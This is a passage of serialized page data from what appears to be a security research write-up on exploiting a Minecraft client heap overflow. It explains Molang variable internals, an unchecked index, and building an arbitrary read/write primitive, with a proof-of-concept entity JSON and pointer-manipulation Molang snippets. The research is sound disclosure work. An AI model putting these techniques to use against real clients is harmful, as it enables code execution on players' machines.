{\n",{"type":23,"tag":230,"props":154760,"children":154761},{"class":232,"line":243},[154762,154766,154770],{"type":23,"tag":230,"props":154763,"children":154764},{"style":256},[154765],{"type":29,"value":18872},{"type":23,"tag":230,"props":154767,"children":154768},{"style":268},[154769],{"type":29,"value":12147},{"type":23,"tag":230,"props":154771,"children":154772},{"style":274},[154773],{"type":29,"value":154774},"buf;\n",{"type":23,"tag":230,"props":154776,"children":154777},{"class":232,"line":252},[154778,154782,154786],{"type":23,"tag":230,"props":154779,"children":154780},{"style":256},[154781],{"type":29,"value":18872},{"type":23,"tag":230,"props":154783,"children":154784},{"style":268},[154785],{"type":29,"value":12147},{"type":23,"tag":230,"props":154787,"children":154788},{"style":274},[154789],{"type":29,"value":154790},"len;\n",{"type":23,"tag":230,"props":154792,"children":154793},{"class":232,"line":280},[154794,154798,154802],{"type":23,"tag":230,"props":154795,"children":154796},{"style":256},[154797],{"type":29,"value":18872},{"type":23,"tag":230,"props":154799,"children":154800},{"style":268},[154801],{"type":29,"value":12147},{"type":23,"tag":230,"props":154803,"children":154804},{"style":274},[154805],{"type":29,"value":154806},"cap;\n",{"type":23,"tag":230,"props":154808,"children":154809},{"class":232,"line":334},[154810],{"type":23,"tag":230,"props":154811,"children":154812},{"style":274},[154813],{"type":29,"value":450},{"type":23,"tag":32,"props":154815,"children":154816},{},[154817,154822,154824,154829,154831,154837,154839,154844,154845,154850],{"type":23,"tag":71,"props":154818,"children":154820},{"className":154819},[],[154821],{"type":29,"value":151903},{"type":29,"value":154823}," points to the allocated array of elements, ",{"type":23,"tag":71,"props":154825,"children":154827},{"className":154826},[],[154828],{"type":29,"value":11471},{"type":29,"value":154830}," points just past the last used element, and ",{"type":23,"tag":71,"props":154832,"children":154834},{"className":154833},[],[154835],{"type":29,"value":154836},"cap",{"type":29,"value":154838}," points to the end of the allocated buffer. Notably, the types of ",{"type":23,"tag":71,"props":154840,"children":154842},{"className":154841},[],[154843],{"type":29,"value":11471},{"type":29,"value":112},{"type":23,"tag":71,"props":154846,"children":154848},{"className":154847},[],[154849],{"type":29,"value":154836},{"type":29,"value":154851}," aren't typical integer types for sizes, but both are pointers.",{"type":23,"tag":32,"props":154853,"children":154854},{},[154855],{"type":29,"value":154856},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":23,"tag":220,"props":154858,"children":154860},{"code":154859},"+---------+         +--------------------+\n|   buf   +-------> | MolangVariable A*  |\n+---------+         +--------------------+\n|   len   +----+    | MolangVariable B*  |\n+---------+    |    +--------------------+\n|   cap   |    |    | MolangVariable C*  |\n+----+----+    |    +--------------------+\n     |         +--> | Empty element slot |\n     |              +--------------------+\n     |                                   ^\n     +-----------------------------------+\n",[154861],{"type":23,"tag":71,"props":154862,"children":154863},{"__ignoreMap":7},[154864],{"type":29,"value":154859},{"type":23,"tag":32,"props":154866,"children":154867},{},[154868,154870,154876,154878,154884],{"type":29,"value":154869},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":23,"tag":71,"props":154871,"children":154873},{"className":154872},[],[154874],{"type":29,"value":154875},"variable.result",{"type":29,"value":154877},") may differ between entities. To get around this, ",{"type":23,"tag":71,"props":154879,"children":154881},{"className":154880},[],[154882],{"type":29,"value":154883},"MolangIndexMap",{"type":29,"value":154885}," is used to map a global variable name to the correct per-entity slot.",{"type":23,"tag":192,"props":154887,"children":154889},{"id":154888},"molangindexmap",[154890],{"type":29,"value":154883},{"type":23,"tag":32,"props":154892,"children":154893},{},[154894,154899,154901,154907,154909,154915],{"type":23,"tag":71,"props":154895,"children":154897},{"className":154896},[],[154898],{"type":29,"value":154883},{"type":29,"value":154900}," is a per-entity ",{"type":23,"tag":71,"props":154902,"children":154904},{"className":154903},[],[154905],{"type":29,"value":154906},"std::vector\u003Cuint16_t>",{"type":29,"value":154908},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":23,"tag":71,"props":154910,"children":154912},{"className":154911},[],[154913],{"type":29,"value":154914},"variable.result = 0",{"type":29,"value":154916}," it:",{"type":23,"tag":144,"props":154918,"children":154919},{},[154920,154930,154940],{"type":23,"tag":102,"props":154921,"children":154922},{},[154923,154925],{"type":29,"value":154924},"Checks the global hashmap for ",{"type":23,"tag":71,"props":154926,"children":154928},{"className":154927},[],[154929],{"type":29,"value":11415},{"type":23,"tag":102,"props":154931,"children":154932},{},[154933,154935],{"type":29,"value":154934},"If found, uses the global index to look up the per-entity index in ",{"type":23,"tag":71,"props":154936,"children":154938},{"className":154937},[],[154939],{"type":29,"value":154883},{"type":23,"tag":102,"props":154941,"children":154942},{},[154943,154945],{"type":29,"value":154944},"If not found, creates a new global entry and assigns it ",{"type":23,"tag":71,"props":154946,"children":154948},{"className":154947},[],[154949],{"type":29,"value":154950},"last_index + 1",{"type":23,"tag":32,"props":154952,"children":154953},{},[154954,154956,154961,154963,154968,154970,154975,154977,154982,154984,154989,154990,154996,154998,155003],{"type":29,"value":154955},"This means the same global index for variable ",{"type":23,"tag":71,"props":154957,"children":154959},{"className":154958},[],[154960],{"type":29,"value":11415},{"type":29,"value":154962}," maps to the same position inside every entity’s ",{"type":23,"tag":71,"props":154964,"children":154966},{"className":154965},[],[154967],{"type":29,"value":154883},{"type":29,"value":154969},", but the actual ",{"type":23,"tag":71,"props":154971,"children":154973},{"className":154972},[],[154974],{"type":29,"value":154380},{"type":29,"value":154976}," for ",{"type":23,"tag":71,"props":154978,"children":154980},{"className":154979},[],[154981],{"type":29,"value":11415},{"type":29,"value":154983}," may live at different slots inside each entity's ",{"type":23,"tag":71,"props":154985,"children":154987},{"className":154986},[],[154988],{"type":29,"value":154707},{"type":29,"value":20851},{"type":23,"tag":71,"props":154991,"children":154993},{"className":154992},[],[154994],{"type":29,"value":154995},"Entity.MolangIndexMap[global_index]",{"type":29,"value":154997}," stores the per-entity index (slot) of variable ",{"type":23,"tag":71,"props":154999,"children":155001},{"className":155000},[],[155002],{"type":29,"value":11415},{"type":29,"value":312},{"type":23,"tag":32,"props":155005,"children":155006},{},[155007,155009,155014,155016,155021,155023,155028,155030,155035,155037,155043,155045,155050],{"type":29,"value":155008},"Importantly, we found that indices in the ",{"type":23,"tag":71,"props":155010,"children":155012},{"className":155011},[],[155013],{"type":29,"value":154883},{"type":29,"value":155015}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":23,"tag":71,"props":155017,"children":155019},{"className":155018},[],[155020],{"type":29,"value":154707},{"type":29,"value":155022},". This means that if we overwrite the index of variable ",{"type":23,"tag":71,"props":155024,"children":155026},{"className":155025},[],[155027],{"type":29,"value":11415},{"type":29,"value":155029}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":23,"tag":71,"props":155031,"children":155033},{"className":155032},[],[155034],{"type":29,"value":154707},{"type":29,"value":155036},", we could read from and write to ",{"type":23,"tag":71,"props":155038,"children":155040},{"className":155039},[],[155041],{"type":29,"value":155042},"address + 0x38",{"type":29,"value":155044}," through ",{"type":23,"tag":71,"props":155046,"children":155048},{"className":155047},[],[155049],{"type":29,"value":154875},{"type":29,"value":312},{"type":23,"tag":59,"props":155052,"children":155054},{"id":155053},"building-a-molang-arbitrary-rw-primitive",[155055],{"type":29,"value":155056},"Building a Molang Arbitrary R/W Primitive",{"type":23,"tag":32,"props":155058,"children":155059},{},[155060,155062,155067,155069,155074],{"type":29,"value":155061},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":23,"tag":71,"props":155063,"children":155065},{"className":155064},[],[155066],{"type":29,"value":154737},{"type":29,"value":155068}," - specifically, of ",{"type":23,"tag":71,"props":155070,"children":155072},{"className":155071},[],[155073],{"type":29,"value":154707},{"type":29,"value":155075}," vector.",{"type":23,"tag":32,"props":155077,"children":155078},{},[155079,155081,155086,155088,155093,155094,155099,155101,155106],{"type":29,"value":155080},"Because every entity object is heap-allocated and contains a ",{"type":23,"tag":71,"props":155082,"children":155084},{"className":155083},[],[155085],{"type":29,"value":154707},{"type":29,"value":155087}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":23,"tag":71,"props":155089,"children":155091},{"className":155090},[],[155092],{"type":29,"value":151903},{"type":29,"value":57565},{"type":23,"tag":71,"props":155095,"children":155097},{"className":155096},[],[155098],{"type":29,"value":154707},{"type":29,"value":155100}," vector belonging to an entity object placed just next the ",{"type":23,"tag":71,"props":155102,"children":155104},{"className":155103},[],[155105],{"type":29,"value":154707},{"type":29,"value":155107}," allocated buffer.",{"type":23,"tag":220,"props":155109,"children":155111},{"code":155110},"      +-------------+ \u003C--+                   \n+---> | variable.a  |    |                   \n|     +-------------+    |                   \n|     | variable.b  |    |                   \n|     +-------------+    +- MolangVariableMap allocated buffer\n|     |    . . .    |    |                   \n|     +-------------+    |                   \n|     | variable.f  |    |                   \n|     +-------------+ \u003C--+--+                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     +------+------+       +- Entity Object \n+-----+ buf  | len  |       |                \n      +------+------+       |                \n      | cap  |      |       |                \n      +------+      |       |                \n      +-------------+ \u003C-----+                                       \n",[155112],{"type":23,"tag":71,"props":155113,"children":155114},{"__ignoreMap":7},[155115],{"type":29,"value":155110},{"type":23,"tag":32,"props":155117,"children":155118},{},[155119,155121,155126,155128,155134,155136,155141,155142,155148,155149,155154,155156,155161,155163,155168,155170,155175,155177,155182,155184,155189,155191,155196,155198,155204,155206,155211,155213,155218],{"type":29,"value":155120},"In the scenario above, the ",{"type":23,"tag":71,"props":155122,"children":155124},{"className":155123},[],[155125],{"type":29,"value":154883},{"type":29,"value":155127}," would map ",{"type":23,"tag":71,"props":155129,"children":155131},{"className":155130},[],[155132],{"type":29,"value":155133},"variable.a",{"type":29,"value":155135}," -> index ",{"type":23,"tag":71,"props":155137,"children":155139},{"className":155138},[],[155140],{"type":29,"value":6358},{"type":29,"value":684},{"type":23,"tag":71,"props":155143,"children":155145},{"className":155144},[],[155146],{"type":29,"value":155147},"variable.b",{"type":29,"value":155135},{"type":23,"tag":71,"props":155150,"children":155152},{"className":155151},[],[155153],{"type":29,"value":6348},{"type":29,"value":155155},", and so on. If we overwrite the index for ",{"type":23,"tag":71,"props":155157,"children":155159},{"className":155158},[],[155160],{"type":29,"value":155133},{"type":29,"value":155162}," with a value that is out-of-bounds for the ",{"type":23,"tag":71,"props":155164,"children":155166},{"className":155165},[],[155167],{"type":29,"value":154707},{"type":29,"value":155169},", it can instead index the ",{"type":23,"tag":71,"props":155171,"children":155173},{"className":155172},[],[155174],{"type":29,"value":151903},{"type":29,"value":155176}," field of the entity object above. Reading ",{"type":23,"tag":71,"props":155178,"children":155180},{"className":155179},[],[155181],{"type":29,"value":155133},{"type":29,"value":155183}," will then return the pointer stored at offset ",{"type":23,"tag":71,"props":155185,"children":155187},{"className":155186},[],[155188],{"type":29,"value":154641},{"type":29,"value":155190}," from the start of the ",{"type":23,"tag":71,"props":155192,"children":155194},{"className":155193},[],[155195],{"type":29,"value":154707},{"type":29,"value":155197}," (which in this diagram corresponds to ",{"type":23,"tag":71,"props":155199,"children":155201},{"className":155200},[],[155202],{"type":29,"value":155203},"variable.f",{"type":29,"value":155205},"), and writing to ",{"type":23,"tag":71,"props":155207,"children":155209},{"className":155208},[],[155210],{"type":29,"value":155133},{"type":29,"value":155212}," will overwrite that pointer - corrupting ",{"type":23,"tag":71,"props":155214,"children":155216},{"className":155215},[],[155217],{"type":29,"value":155203},{"type":29,"value":312},{"type":23,"tag":32,"props":155220,"children":155221},{},[155222,155224,155229,155230,155236,155238,155243,155245,155251,155253,155258,155260,155265,155267,155273,155275,155281,155283,155288],{"type":29,"value":155223},"To leak the address of the Minecraft executable we could increment ",{"type":23,"tag":71,"props":155225,"children":155227},{"className":155226},[],[155228],{"type":29,"value":155133},{"type":29,"value":664},{"type":23,"tag":71,"props":155231,"children":155233},{"className":155232},[],[155234],{"type":29,"value":155235},"variable.a += 8",{"type":29,"value":155237},"), which advances the pointer used for ",{"type":23,"tag":71,"props":155239,"children":155241},{"className":155240},[],[155242],{"type":29,"value":155203},{"type":29,"value":155244}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":23,"tag":71,"props":155246,"children":155248},{"className":155247},[],[155249],{"type":29,"value":155250},"variable.a = variable.exe_leak + \u003Coffset>",{"type":29,"value":155252}," - this updates the ",{"type":23,"tag":71,"props":155254,"children":155256},{"className":155255},[],[155257],{"type":29,"value":155203},{"type":29,"value":155259}," pointer to our chosen address, and writing to ",{"type":23,"tag":71,"props":155261,"children":155263},{"className":155262},[],[155264],{"type":29,"value":155203},{"type":29,"value":155266},", for example ",{"type":23,"tag":71,"props":155268,"children":155270},{"className":155269},[],[155271],{"type":29,"value":155272},"variable.f = 1337",{"type":29,"value":155274},", writes the value ",{"type":23,"tag":71,"props":155276,"children":155278},{"className":155277},[],[155279],{"type":29,"value":155280},"1337",{"type":29,"value":155282}," to offset ",{"type":23,"tag":71,"props":155284,"children":155286},{"className":155285},[],[155287],{"type":29,"value":154641},{"type":29,"value":155289}," from that calculated address.",{"type":23,"tag":192,"props":155291,"children":155293},{"id":155292},"testing-the-idea",[155294],{"type":29,"value":155295},"Testing the Idea",{"type":23,"tag":32,"props":155297,"children":155298},{},[155299,155301,155306,155308,155313,155315,155320],{"type":29,"value":155300},"We tested the idea by manually adding a pointer to the start of ",{"type":23,"tag":71,"props":155302,"children":155304},{"className":155303},[],[155305],{"type":29,"value":154707},{"type":29,"value":155307}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":23,"tag":2258,"props":155309,"children":155310},{},[155311],{"type":29,"value":155312},"almost",{"type":29,"value":155314}," worked - below is the state of the ",{"type":23,"tag":71,"props":155316,"children":155318},{"className":155317},[],[155319],{"type":29,"value":154707},{"type":29,"value":155321},"'s allocated buffer before the Molang script executes:",{"type":23,"tag":32,"props":155323,"children":155324},{},[155325],{"type":23,"tag":93,"props":155326,"children":155328},{"alt":52351,"src":155327},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":23,"tag":32,"props":155330,"children":155331},{},[155332],{"type":29,"value":155333},"And this is after execution:",{"type":23,"tag":32,"props":155335,"children":155336},{},[155337],{"type":23,"tag":93,"props":155338,"children":155340},{"alt":52351,"src":155339},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":23,"tag":32,"props":155342,"children":155343},{},[155344],{"type":29,"value":155345},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":23,"tag":220,"props":155347,"children":155349},{"code":155348,"language":1680,"meta":7,"className":1678,"style":7},"{\n  \"format_version\": \"1.10.0\",\n  \"minecraft:client_entity\": {\n    \"description\": {\n      \"identifier\": \"minecraft:leash_knot\",\n\n      [...]\n        \n      \"scripts\": {\n        \"initialize\": [\n          \"variable.a = 0;\",\n          \"variable.b = 0;\",\n          \"variable.c = 0;\",\n          [...]\n        ],\n        \"pre_animation\": [\n          \"variable.a = 2.310732e-27;\"\n        ]\n      },\n    }\n  }\n}\n",[155350],{"type":23,"tag":71,"props":155351,"children":155352},{"__ignoreMap":7},[155353,155360,155381,155393,155405,155426,155433,155440,155447,155459,155472,155484,155496,155508,155524,155531,155543,155551,155559,155566,155573,155580],{"type":23,"tag":230,"props":155354,"children":155355},{"class":232,"line":233},[155356],{"type":23,"tag":230,"props":155357,"children":155358},{"style":274},[155359],{"type":29,"value":13211},{"type":23,"tag":230,"props":155361,"children":155362},{"class":232,"line":243},[155363,155368,155372,155377],{"type":23,"tag":230,"props":155364,"children":155365},{"style":262},[155366],{"type":29,"value":155367},"  \"format_version\"",{"type":23,"tag":230,"props":155369,"children":155370},{"style":274},[155371],{"type":29,"value":817},{"type":23,"tag":230,"props":155373,"children":155374},{"style":380},[155375],{"type":29,"value":155376},"\"1.10.0\"",{"type":23,"tag":230,"props":155378,"children":155379},{"style":274},[155380],{"type":29,"value":388},{"type":23,"tag":230,"props":155382,"children":155383},{"class":232,"line":252},[155384,155389],{"type":23,"tag":230,"props":155385,"children":155386},{"style":262},[155387],{"type":29,"value":155388},"  \"minecraft:client_entity\"",{"type":23,"tag":230,"props":155390,"children":155391},{"style":274},[155392],{"type":29,"value":1697},{"type":23,"tag":230,"props":155394,"children":155395},{"class":232,"line":280},[155396,155401],{"type":23,"tag":230,"props":155397,"children":155398},{"style":262},[155399],{"type":29,"value":155400},"    \"description\"",{"type":23,"tag":230,"props":155402,"children":155403},{"style":274},[155404],{"type":29,"value":1697},{"type":23,"tag":230,"props":155406,"children":155407},{"class":232,"line":334},[155408,155413,155417,155422],{"type":23,"tag":230,"props":155409,"children":155410},{"style":262},[155411],{"type":29,"value":155412},"      \"identifier\"",{"type":23,"tag":230,"props":155414,"children":155415},{"style":274},[155416],{"type":29,"value":817},{"type":23,"tag":230,"props":155418,"children":155419},{"style":380},[155420],{"type":29,"value":155421},"\"minecraft:leash_knot\"",{"type":23,"tag":230,"props":155423,"children":155424},{"style":274},[155425],{"type":29,"value":388},{"type":23,"tag":230,"props":155427,"children":155428},{"class":232,"line":371},[155429],{"type":23,"tag":230,"props":155430,"children":155431},{"emptyLinePlaceholder":18},[155432],{"type":29,"value":459},{"type":23,"tag":230,"props":155434,"children":155435},{"class":232,"line":391},[155436],{"type":23,"tag":230,"props":155437,"children":155438},{"style":24721},[155439],{"type":29,"value":129220},{"type":23,"tag":230,"props":155441,"children":155442},{"class":232,"line":400},[155443],{"type":23,"tag":230,"props":155444,"children":155445},{"style":274},[155446],{"type":29,"value":154530},{"type":23,"tag":230,"props":155448,"children":155449},{"class":232,"line":444},[155450,155455],{"type":23,"tag":230,"props":155451,"children":155452},{"style":262},[155453],{"type":29,"value":155454},"      \"scripts\"",{"type":23,"tag":230,"props":155456,"children":155457},{"style":274},[155458],{"type":29,"value":1697},{"type":23,"tag":230,"props":155460,"children":155461},{"class":232,"line":453},[155462,155467],{"type":23,"tag":230,"props":155463,"children":155464},{"style":262},[155465],{"type":29,"value":155466},"        \"initialize\"",{"type":23,"tag":230,"props":155468,"children":155469},{"style":274},[155470],{"type":29,"value":155471},": [\n",{"type":23,"tag":230,"props":155473,"children":155474},{"class":232,"line":462},[155475,155480],{"type":23,"tag":230,"props":155476,"children":155477},{"style":380},[155478],{"type":29,"value":155479},"          \"variable.a = 0;\"",{"type":23,"tag":230,"props":155481,"children":155482},{"style":274},[155483],{"type":29,"value":388},{"type":23,"tag":230,"props":155485,"children":155486},{"class":232,"line":471},[155487,155492],{"type":23,"tag":230,"props":155488,"children":155489},{"style":380},[155490],{"type":29,"value":155491},"          \"variable.b = 0;\"",{"type":23,"tag":230,"props":155493,"children":155494},{"style":274},[155495],{"type":29,"value":388},{"type":23,"tag":230,"props":155497,"children":155498},{"class":232,"line":500},[155499,155504],{"type":23,"tag":230,"props":155500,"children":155501},{"style":380},[155502],{"type":29,"value":155503},"          \"variable.c = 0;\"",{"type":23,"tag":230,"props":155505,"children":155506},{"style":274},[155507],{"type":29,"value":388},{"type":23,"tag":230,"props":155509,"children":155510},{"class":232,"line":514},[155511,155516,155520],{"type":23,"tag":230,"props":155512,"children":155513},{"style":274},[155514],{"type":29,"value":155515},"          [",{"type":23,"tag":230,"props":155517,"children":155518},{"style":24721},[155519],{"type":29,"value":11922},{"type":23,"tag":230,"props":155521,"children":155522},{"style":274},[155523],{"type":29,"value":14103},{"type":23,"tag":230,"props":155525,"children":155526},{"class":232,"line":897},[155527],{"type":23,"tag":230,"props":155528,"children":155529},{"style":274},[155530],{"type":29,"value":45417},{"type":23,"tag":230,"props":155532,"children":155533},{"class":232,"line":960},[155534,155539],{"type":23,"tag":230,"props":155535,"children":155536},{"style":262},[155537],{"type":29,"value":155538},"        \"pre_animation\"",{"type":23,"tag":230,"props":155540,"children":155541},{"style":274},[155542],{"type":29,"value":155471},{"type":23,"tag":230,"props":155544,"children":155545},{"class":232,"line":969},[155546],{"type":23,"tag":230,"props":155547,"children":155548},{"style":380},[155549],{"type":29,"value":155550},"          \"variable.a = 2.310732e-27;\"\n",{"type":23,"tag":230,"props":155552,"children":155553},{"class":232,"line":4526},[155554],{"type":23,"tag":230,"props":155555,"children":155556},{"style":274},[155557],{"type":29,"value":155558},"        ]\n",{"type":23,"tag":230,"props":155560,"children":155561},{"class":232,"line":4534},[155562],{"type":23,"tag":230,"props":155563,"children":155564},{"style":274},[155565],{"type":29,"value":1875},{"type":23,"tag":230,"props":155567,"children":155568},{"class":232,"line":4542},[155569],{"type":23,"tag":230,"props":155570,"children":155571},{"style":274},[155572],{"type":29,"value":1552},{"type":23,"tag":230,"props":155574,"children":155575},{"class":232,"line":4559},[155576],{"type":23,"tag":230,"props":155577,"children":155578},{"style":274},[155579],{"type":29,"value":1331},{"type":23,"tag":230,"props":155581,"children":155582},{"class":232,"line":4587},[155583],{"type":23,"tag":230,"props":155584,"children":155585},{"style":274},[155586],{"type":29,"value":975},{"type":23,"tag":32,"props":155588,"children":155589},{},[155590,155592,155597,155599,155604,155606,155611],{"type":29,"value":155591},"As shown, the pointer of a variable at offset ",{"type":23,"tag":71,"props":155593,"children":155595},{"className":155594},[],[155596],{"type":29,"value":154641},{"type":29,"value":155598}," was modified and the core concept works. During ",{"type":23,"tag":71,"props":155600,"children":155602},{"className":155601},[],[155603],{"type":29,"value":154599},{"type":29,"value":155605}," copy, pointers of some other variables above offset ",{"type":23,"tag":71,"props":155607,"children":155609},{"className":155608},[],[155610],{"type":29,"value":154641},{"type":29,"value":155612}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":23,"tag":32,"props":155614,"children":155615},{},[155616],{"type":29,"value":155617},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":23,"tag":98,"props":155619,"children":155620},{},[155621,155634],{"type":23,"tag":102,"props":155622,"children":155623},{},[155624,155626,155632],{"type":29,"value":155625},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":23,"tag":71,"props":155627,"children":155629},{"className":155628},[],[155630],{"type":29,"value":155631},"FLT_MAX",{"type":29,"value":155633},", the value becomes an invalid float causing the increment operation to fail.",{"type":23,"tag":102,"props":155635,"children":155636},{},[155637,155639,155644,155646,155651,155652,155657,155659,155664],{"type":29,"value":155638},"As noted before, during assignment, ",{"type":23,"tag":71,"props":155640,"children":155642},{"className":155641},[],[155643],{"type":29,"value":154599},{"type":29,"value":155645}," fields are copied, and the ",{"type":23,"tag":71,"props":155647,"children":155649},{"className":155648},[],[155650],{"type":29,"value":3856},{"type":29,"value":154689},{"type":23,"tag":71,"props":155653,"children":155655},{"className":155654},[],[155656],{"type":29,"value":57408},{"type":29,"value":155658},". Since our source ",{"type":23,"tag":71,"props":155660,"children":155662},{"className":155661},[],[155663],{"type":29,"value":154599},{"type":29,"value":155665}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":23,"tag":32,"props":155667,"children":155668},{},[155669],{"type":29,"value":155670},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":23,"tag":192,"props":155672,"children":155674},{"id":155673},"expanding-the-idea",[155675],{"type":29,"value":155676},"Expanding the Idea",{"type":23,"tag":32,"props":155678,"children":155679},{},[155680,155682,155687,155689,155694,155695,155700,155702,155707],{"type":29,"value":155681},"As mentioned earlier, the ",{"type":23,"tag":71,"props":155683,"children":155685},{"className":155684},[],[155686],{"type":29,"value":35049},{"type":29,"value":155688}," field of ",{"type":23,"tag":71,"props":155690,"children":155692},{"className":155691},[],[155693],{"type":29,"value":154599},{"type":29,"value":17768},{"type":23,"tag":71,"props":155696,"children":155698},{"className":155697},[],[155699],{"type":29,"value":59707},{"type":29,"value":155701},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":23,"tag":71,"props":155703,"children":155705},{"className":155704},[],[155706],{"type":29,"value":3856},{"type":29,"value":155708}," field remain unchanged before and after Molang execution.",{"type":23,"tag":32,"props":155710,"children":155711},{},[155712,155714,155719],{"type":29,"value":155713},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":23,"tag":71,"props":155715,"children":155717},{"className":155716},[],[155718],{"type":29,"value":154707},{"type":29,"value":155720},"’s allocated buffer + 4.",{"type":23,"tag":32,"props":155722,"children":155723},{},[155724,155726,155731,155733,155738,155740,155745,155746,155752],{"type":29,"value":155725},"In the example below, ",{"type":23,"tag":71,"props":155727,"children":155729},{"className":155728},[],[155730],{"type":29,"value":155133},{"type":29,"value":155732}," points to ",{"type":23,"tag":71,"props":155734,"children":155736},{"className":155735},[],[155737],{"type":29,"value":154707},{"type":29,"value":155739},", while ",{"type":23,"tag":71,"props":155741,"children":155743},{"className":155742},[],[155744],{"type":29,"value":155147},{"type":29,"value":155732},{"type":23,"tag":71,"props":155747,"children":155749},{"className":155748},[],[155750],{"type":29,"value":155751},"MolangVariableMap + 4",{"type":29,"value":218},{"type":23,"tag":220,"props":155754,"children":155756},{"code":155755},"                         variable.f pointer     \n                                 |              \n                   +-------------+-------------+\n                   v                           v\n                                                \n                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[155757],{"type":23,"tag":71,"props":155758,"children":155759},{"__ignoreMap":7},[155760],{"type":29,"value":155755},{"type":23,"tag":32,"props":155762,"children":155763},{},[155764,155766,155771,155772,155777,155779,155784,155786,155791,155793,155798],{"type":29,"value":155765},"Here, the ",{"type":23,"tag":71,"props":155767,"children":155769},{"className":155768},[],[155770],{"type":29,"value":3856},{"type":29,"value":155688},{"type":23,"tag":71,"props":155773,"children":155775},{"className":155774},[],[155776],{"type":29,"value":155133},{"type":29,"value":155778}," starts at the lower 32 bits of the ",{"type":23,"tag":71,"props":155780,"children":155782},{"className":155781},[],[155783],{"type":29,"value":155203},{"type":29,"value":155785}," pointer, while ",{"type":23,"tag":71,"props":155787,"children":155789},{"className":155788},[],[155790],{"type":29,"value":155147},{"type":29,"value":155792}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":23,"tag":71,"props":155794,"children":155796},{"className":155795},[],[155797],{"type":29,"value":155203},{"type":29,"value":155799}," pointer in a separate variable:",{"type":23,"tag":220,"props":155801,"children":155803},{"code":155802},"variable.saved_upper_32 = variable.b;\n",[155804],{"type":23,"tag":71,"props":155805,"children":155806},{"__ignoreMap":7},[155807],{"type":29,"value":155802},{"type":23,"tag":32,"props":155809,"children":155810},{},[155811],{"type":29,"value":155812},"Then we can modify the lower 32 bits of the pointer:",{"type":23,"tag":220,"props":155814,"children":155816},{"code":155815},"variable.a = variable.a + itof(0x8);\n",[155817],{"type":23,"tag":71,"props":155818,"children":155819},{"__ignoreMap":7},[155820],{"type":29,"value":155815},{"type":23,"tag":32,"props":155822,"children":155823},{},[155824],{"type":29,"value":155825},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":23,"tag":220,"props":155827,"children":155829},{"code":155828},"                   +-------------+-------------+\n                   | a8 bb cc dd | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[155830],{"type":23,"tag":71,"props":155831,"children":155832},{"__ignoreMap":7},[155833],{"type":29,"value":155828},{"type":23,"tag":32,"props":155835,"children":155836},{},[155837,155839,155844],{"type":29,"value":155838},"Since the 32 bits directly below the ",{"type":23,"tag":71,"props":155840,"children":155842},{"className":155841},[],[155843],{"type":29,"value":3856},{"type":29,"value":155845}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":23,"tag":220,"props":155847,"children":155849},{"code":155848},"variable.b = variable.saved_upper_32;\n",[155850],{"type":23,"tag":71,"props":155851,"children":155852},{"__ignoreMap":7},[155853],{"type":29,"value":155848},{"type":23,"tag":32,"props":155855,"children":155856},{},[155857,155859,155864],{"type":29,"value":155858},"Now ",{"type":23,"tag":71,"props":155860,"children":155862},{"className":155861},[],[155863],{"type":29,"value":155203},{"type":29,"value":155865}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":23,"tag":220,"props":155867,"children":155869},{"code":155868},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                    \n+-------------+                                 \n|    . . .    |                                 \n",[155870],{"type":23,"tag":71,"props":155871,"children":155872},{"__ignoreMap":7},[155873],{"type":29,"value":155868},{"type":23,"tag":32,"props":155875,"children":155876},{},[155877,155879,155884],{"type":29,"value":155878},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":23,"tag":71,"props":155880,"children":155882},{"className":155881},[],[155883],{"type":29,"value":155751},{"type":29,"value":155885}," on the heap?",{"type":23,"tag":32,"props":155887,"children":155888},{},[155889,155891,155896,155898,155904],{"type":29,"value":155890},"Additionally, adding 8 to ",{"type":23,"tag":71,"props":155892,"children":155894},{"className":155893},[],[155895],{"type":29,"value":155133},{"type":29,"value":155897}," in the example above wouldn’t work because 